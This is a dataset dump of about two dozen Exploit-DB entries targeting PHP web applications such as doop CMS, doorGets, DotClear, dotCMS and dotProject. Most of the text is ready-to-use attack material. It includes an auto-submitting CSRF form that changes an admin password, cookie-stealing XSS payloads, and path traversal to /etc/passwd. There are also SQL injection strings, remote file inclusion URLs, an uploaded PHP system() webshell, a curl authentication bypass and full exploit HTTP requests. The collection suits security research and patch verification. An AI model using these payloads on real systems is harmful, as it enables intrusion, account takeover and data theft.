deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7569
Description: doop CMS 1.4.0b - Cross-Site Request Forgery / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-12-24
Author: x0r

Exploit:
--------------------------------------------------------------------------
| Project: Doop <= 1.4.0b CSRF && Upload Shell                           |
| Author: x0r                                                            |
| Email: andry2000@hotmail.it                                            |
|________________________________________________________________________|


#-- CSRF Change Admin Pass --#

----------------------------------------------------------------------
<iframe name="noscreen" frameborder="0" height="0" width="0"></iframe> 
<form name="admin" action="http://[site/[path]/index.php?action=admin"
method="post" target="noscreen">
<input type="hidden" name="save" value="[Your_Pass]">
<input type="submit" name="submit" value="Save"> 
</form><script>document.admin.submit()</script>
----------------------------------------------------------------------


#-- Upload Shell --#

Ok. Una volta nel pannello di amministrazione possiamo uppare qualsiasi
file ( non controlla l'estensione), quindi anche shell...una volta uppata
la shell, possiamo usarla al seguente link:
http://[site]/[path]/pages/[shell.php].


# x0r
-- w00t Zone - w00tzone.org 

# milw0rm.com [2008-12-24]
Exploit-DB #29852
Description: Doop Content Management System 1.3.x - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2007-04-13
Author: KaBuS

Exploit:
source: https://www.securityfocus.com/bid/23482/info

Doop Content Management System is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, control how the site is rendered to the user, compromise the application, obtain sensitive information, and access or modify data. 

Attack 1 :

http://www.example.com/path/index.php?page=forum

New/Reply Topic :

Title: 
<script>alert(document.cookie);</script><script>alert(/xss/);</script>
Text: <script>alert(document.cookie);</script><script>alert(/xss/);</script>
Name or nick: 
<script>alert(document.cookie);</script><script>alert(/xss/);</script>
e-mail: 
<script>alert(document.cookie);</script><script>alert(/xss/);</script>

send.
and refresh page ..

Attack 2 :

http://www.example.com/path/?page=vdasCMS

New Comment: 
<script>alert(document.cookie);</script><script>alert(/xss/);</script>
Name: <script>alert(document.cookie);</script><script>alert(/xss/);</script>
Email: 
<script>alert(document.cookie);</script><script>alert(/xss/);</script>
Text: <script>alert(document.cookie);</script><script>alert(/xss/);</script>

send.
and refresh page ..

Attack 3 :

in photogallery page

http://www.example.com/path/index.php?page=photos

http://www.example.com/path/index.php?page=[XSS] example : 
<script>alert(document.cookie);</script><script>alert(/xss/);</script>
Exploit-DB #24560
Description: doorGets CMS - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-03-01
Author: n0pe

Exploit:
# Title: Doorgets CSRF Vulnerability
# Author: n0pe
# Software Link: http://www.doorgets.com/
# Download: http://www.doorgets.com/?sources_cms
# Tested: BackBox Linux 3

With this vulnerability you can change the configuration of the site.


Proof of concept:

<html>
	<body>
		<form name="csrf" method="post" action="http://localhost/door/admin/?r=config&siteweb">
			Title <input type="text" id="website_title" name="website_title" value="Owned"><br />
			Slogan <input type="text" id="website_slogan" name="website_slogan" value="Owned"><br />
			Description <input type="text" id="website_description" name="website_description" value="Owned"><br />
			Copyright <input type="text" id="website_copyright" name="website_copyright" value="lol"><br />
			Year of creation <input  type="text" id="website_year" name="website_year" value="2013"><br />
			Keywords <input type="text" id="website_keywords" name="website_keywords" value="Owned"><br />
			ID Facebook <input type="text" id="website_id_facebook" name="website_id_facebook" value=""> <br />
			Disqus <input  type="text" id="website_id_disqus" name="website_id_disqus" value=""> <br />
			<input type="radio" name="website_theme"  id="website_theme_doorgets-home"  value="doorgets-home" doorgets-light >doorgets-home<br />                                    
			<input type="radio" name="website_theme"  id="website_theme_doorgets-light"  value="doorgets-light" checked="checked" >doorgets-light<br />          
			<input type="submit" id="website_submit" name="website_submit" value="Save">
		</form>
	</body>
</html>
Exploit-DB #46173
Description: doorGets CMS 7.0 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2019-01-16
Author: Ihsan Sencan

Exploit:
# Exploit Title: doorGets CMS 7.0 - Arbitrary File Download
# Dork: N/A
# Date: 2019-01-16
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.doorgets.com/
# Software Link: https://netix.dl.sourceforge.net/project/doorgets-cms/doorGets%20CMS%20V7/doorGets_CMS_V7.0.zip
# Version: 7.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/fileman/php/download.php?f=/[PATH]/fileman/Uploads/[FILE]
# 

GET /[PATH]/fileman/php/download.php?f=%2FExploitDb%2FdoorGets_CMS_V7.0%2Ffileman%2FUploads%2F%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows/win.ini HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=2lj2q69rvodstr9g2c9ki3k3j6; GeniXCMS-Installation=rsb95ndeo38fi0qo5376ku0o74; GeniXCMS-uxTCOmgGby9cYrSEFhS2=iuac7ooh77hghvbq7afkn0kl13; roxyld=%2FExploitDb%2FdoorGets_CMS_V7.0%2Ffileman%2FUploads; roxyview=list
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Tue, 15 Jan 2019 22:03:21 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Disposition: attachment; filename="win.ini"
Content-Length: 564
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/force-download
Exploit-DB #29914
Description: Doruk100Net - 'Info.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-26
Author: Ali7

Exploit:
source: https://www.securityfocus.com/bid/23675/info

Doruk100Net is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/[path]/info.php?file=http://shell
http://victim/info.php?file=http://shell
Exploit-DB #2795
Description: DoSePa 1.0.4 - 'textview.php' Information Disclosure
Type: webapps
Platform: php
Date: 2006-11-17
Author: Craig Heffner

Exploit:
#######################################################################################
# Target:
#
#       DoSePa 1.0.4 (textview.php)
#       http://sourceforge.net/project/showfiles.php?group_id=91686
#
# Vulnerability:
#
#       Information disclosure.
#
# Description:
#
#       The textview.php page in DoSePa does not properly sanitize the $_GET['file']
#       value; this allows an attacker to view any file to which the server has
#       read rights.
#
# Vulnerable Code (truncated):
#
#       $file=$_GET['file'];
#       file_get_contents($file);
#
# Exploit:
#
#       http://dosepa.somesite.com/textview.php?file=/etc/passwd
#
# Discovery:
#
#       Craig Heffner
#       heffnercj [at] gmail.com
#       http://www.craigheffner.com
#######################################################################################

# milw0rm.com [2006-11-17]
Exploit-DB #11620
Description: Dosya Yukle Scrtipi (DosyaYukle Scripti) 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-03-03
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Dosya Yukle Scrtipi v1.0 Upload Vulnerability   
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.sec-war.com                                                                                                                     
| # Dork     : Dosya Yukle Scrtipi v1.0                                                                                                               
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Upload                                                                     
======================      Exploit By indoushka       =================================
# Exploit  :  

1- http://127.0.0.1/dosyayukle/

2- http://127.0.0.1/dosyayukle/dosyalar/ch99.php

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * Xproratix ==========================================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (www.v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * www.no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net 
www.alkrsan.net * www.kadmiwe.net * www.arhack.net * D4NB4R http://www.ilegalintrusion.net/foro/
--------------------------------------------------------------------------------------------------------------
Exploit-DB #18250
Description: DotA OpenStats 1.3.9 - SQL Injection
Type: webapps
Platform: php
Date: 2011-12-19
Author: HvM17

Exploit:
=============
# Exploit Title: DotA OpenStats SQL Injection Vulnerability
# Google Dork: "© 2011 Powered by DotA OpenStats"
# Date: 19/12/2011
# Author: HvM17
# Version: 1.3.9 and below
# Tested on: WinXP

=============
# VenDor : http://openstats.iz.rs/
# Download script: https://sourceforge.net/projects/dotaopenstats/
=============

[~] Exploit
		
		http://localhost/dotaStats/index.php?id='1 UNION SELECT 1,2,3,4
		
============
Made IN INDONESIA
Greetz for All HVM crew :)
============
Exploit-DB #22254
Description: DotBr 0.1 - 'Exec.php3' Remote Command Execution
Type: webapps
Platform: php
Date: 2003-02-15
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6867/info

The DotBr 'exec.php3' script is prone to a remote command execution vulnerability. This is due to insufficient sanitization of user-supplied data. Exploitation may result in execution of arbitrary shell commands with the privileges of the webserver process. 

http://www.example.com/admin/exec.php3?cmd=[COMMAND]
Exploit-DB #22253
Description: DotBr 0.1 - 'System.php3' Remote Command Execution
Type: webapps
Platform: php
Date: 2003-02-15
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6866/info

The DotBr 'system.php3' script is prone to a remote command execution vulnerability. This is due to insufficient sanitization of user-supplied data. Exploitation may result in execution of arbitrary shell commands with the privileges of the webserver process. 

http://www.example.com/admin/system.php3?cmd=[COMMAND]
Exploit-DB #26689
Description: DotClear 1.2.1/1.2.2 - 'Session.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-01
Author: Siegfried

Exploit:
source: https://www.securityfocus.com/bid/15667/info

DotClear is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

dc_xd=siegfried'/**/UNION/**/SELECT user_id,user_pseudo,user_nom,user_email from dc_user into outfile "/var/www/blah"/*
Exploit-DB #29838
Description: DotClear 1.2.x - '/ecrire/trackback.php?post_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-04-11
Author: nassim

Exploit:
source: https://www.securityfocus.com/bid/23411/info

DotClear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to 1.2.6 are vulnerable. 

http://www.example.com/dotclear/ecrire/trackback.php?post_id=[XSS]
Exploit-DB #29839
Description: DotClear 1.2.x - '/tools/thememng/index.php?tool_url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-04-11
Author: nassim

Exploit:
source: https://www.securityfocus.com/bid/23411/info
 
DotClear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Versions prior to 1.2.6 are vulnerable. 

http://www.example.com/tools/thememng/index.php?tool_url=[XSS]
Exploit-DB #51353
Description: dotclear 2.25.3 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2023-04-08
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: dotclear 2.25.3 - Remote Code Execution (RCE) (Authenticated)
Application: dotclear
Version: 2.25.3
Bugs:  Remote Code Execution (RCE) (Authenticated) via file upload
Technology: PHP
Vendor URL: https://dotclear.org/
Software Link: https://dotclear.org/download
Date of found: 08.04.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
While writing a blog post, we know that we can upload images. But php did not allow file upload. This time
<?php echo system("id"); ?>
 I wrote a file with the above payload, a poc.phar extension, and uploaded it.
We were able to run the php code when we visited your page


poc request:


POST /dotclear/admin/post.php HTTP/1.1
Host: localhost
Content-Length: 566
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: dcxd=f3bb50e4faebea34598cf52bcef38548b68bc1cc
Connection: close

post_title=Welcome+to+Dotclear%21&post_excerpt=&post_content=%3Cp%3EThis+is+your+first+entry.+When+you%27re+ready+to+blog%2C+log+in+to+edit+or+delete+it.fghjftgj%3Ca+href%3D%22%2Fdotclear%2Fpublic%2Fpoc.phar%22%3Epoc.phar%3C%2Fa%3E%3C%2Fp%3E%0D%0A&post_notes=&id=1&save=Save+%28s%29&xd_check=ca4243338e38de355f21ce8a757c17fbca[PII_REDACTED]ba4ddcfced4a53032290d7b3c50badd4a3b9ceb2c8b3eed2fc3b53f0e13af56c68f2b934670027e12f4e&post_status=1&post_dt=2023-04-08T06%3A37&post_lang=en&post_format=xhtml&cat_id=&new_cat_title=&new_cat_parent=&post_open_comment=1&post_password=



poc video : https://youtu.be/oIPyLqLJS70
Exploit-DB #36888
Description: Dotclear 2.4.1.2 - '/admin/auth.php?login_data' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-29
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52221/info

Dotclear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Dotclear 2.4.1.2 is vulnerable; prior versions may also be affected. 

&lt;form action=&quot;http://www.example.com/admin/auth.php&quot; method=&quot;post&quot;&gt;

&lt;input type=&quot;hidden&quot; name=&quot;new_pwd&quot; value=&quot;1&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;new_pwd_c&quot; value=&quot;2&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;login_data&quot; value=&#039;&quot;&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;&#039; /&gt;
&lt;input type=&quot;submit&quot; id=&quot;btn&quot;&gt;
&lt;/form&gt;
Exploit-DB #36889
Description: Dotclear 2.4.1.2 - '/admin/blogs.php?nb' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-29
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52221/info
 
Dotclear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
Dotclear 2.4.1.2 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/blogs.php?nb=5%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #36890
Description: Dotclear 2.4.1.2 - '/admin/comments.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-02-29
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52221/info
  
Dotclear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
  
Dotclear 2.4.1.2 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/comments.php?type=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/comments.php?sortby=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/comments.php?order=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/admin/comments.php?status=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #36891
Description: Dotclear 2.4.1.2 - '/admin/plugin.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-29
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52221/info
   
Dotclear is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
   
Dotclear 2.4.1.2 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/plugin.php?p=tags&m=tag_posts&tag=[TAG]&page=1%27%22%3E%3Cscript%3Ea lert%28document.cookie%29;%3C/script%3E
Exploit-DB #6247
Description: dotCMS 1.6 - 'id' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-08-15
Author: Don

Exploit:
++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ script:dotCMS
+ home: http://www.dotcms.org
+ demo: http://www.dotcms.org/the_dotcms/demos/demo.dot
+ founder: Don of h4cky0u.org
+ Vulnerability: Directory traversal
++++++++++++++++++++++++++++++++++++++++++++++++++++++

exploit:
/index.dot?id=../../../../../../../../etc/passwd%00.jpg
/macros/macros_detail.dot?id=../../../../../../../../etc/passwd%00.html

example:
http://demo.dotcms.org/news/index.dot?id=../../../../../../../../etc/passwd%00.jpg
http://demo.dotcms.org/getting_started/macros/macros_detail.dot?id=../../../../../../../../etc/passwd%00.html

solution:
Script should filter meta characters from user input.
+++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2008-08-15]
Exploit-DB #27602
Description: DotNetNuke DNNArticle Module 10.0 - SQL Injection
Type: webapps
Platform: php
Date: 2013-08-15
Author: Sajjad Pourali

Exploit:
Title: DotNetNuke (DNNArticle Module) SQL Injection Vulnerability
References: CVE-2013-5117
Discovered by: Sajjad Pourali

Vendor http://www.zldnn.com/ , http://www.dnnarticle.com/‎
Vendor advisory: http://www.zldnn.com/Support/tabid/643/ctl/RecordList/mid/1691/ItemID/2979/Default.aspx (Ticket iD:#2979)
Vendor contact: 2013-8-14

Solution: http://www.zldnn.com/Support/tabid/643/ctl/RecordList/mid/1691/ItemID/2979/Default.aspx (Ticket iD:#2979)
 
Remote: yes
Authentication required: no
User interaction required: no
Impact: High
 
Affected:

 - DNNArticle 10.0 and earlier

---

PoC:

http://server/desktopmodules/dnnarticle/dnnarticlerss.aspx?moduleid=0&categoryid=1+or+1=@@version
 
---
 
 + Sajjad Pourali
 + http://www.securation.com/
 + http://www.cert.um.ac.ir/
 + Contact: sajjad[at]securation.com
Exploit-DB #21661
Description: dotProject 0.2.1 - User Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2002-07-29
Author: pokleyzz

Exploit:
source: https://www.securityfocus.com/bid/5347/info

dotproject is prone to an issue which may allow remote attackers to bypass authentication and gain administrative access to the software. 

This may be accomplished by submitting a maliciously crafted 'user_cookie' value either manually or via manipulation of URI parameters.

This problem is due to the software relying on the user 'cookie_value' to authenticate the user.

curl -b user_cookie=1 http://server/project/index.php?m=projects

or 

http://server/project/index.php?m=projects&user_cookie=1
Exploit-DB #27218
Description: dotProject 2.0 - '/includes/db_connect.php?baseDir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-02-14
Author: r.verton

Exploit:
source: https://www.securityfocus.com/bid/16648/info
 
Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com/includes/db_connect.php?baseDir=[REMOTE INCLUDE]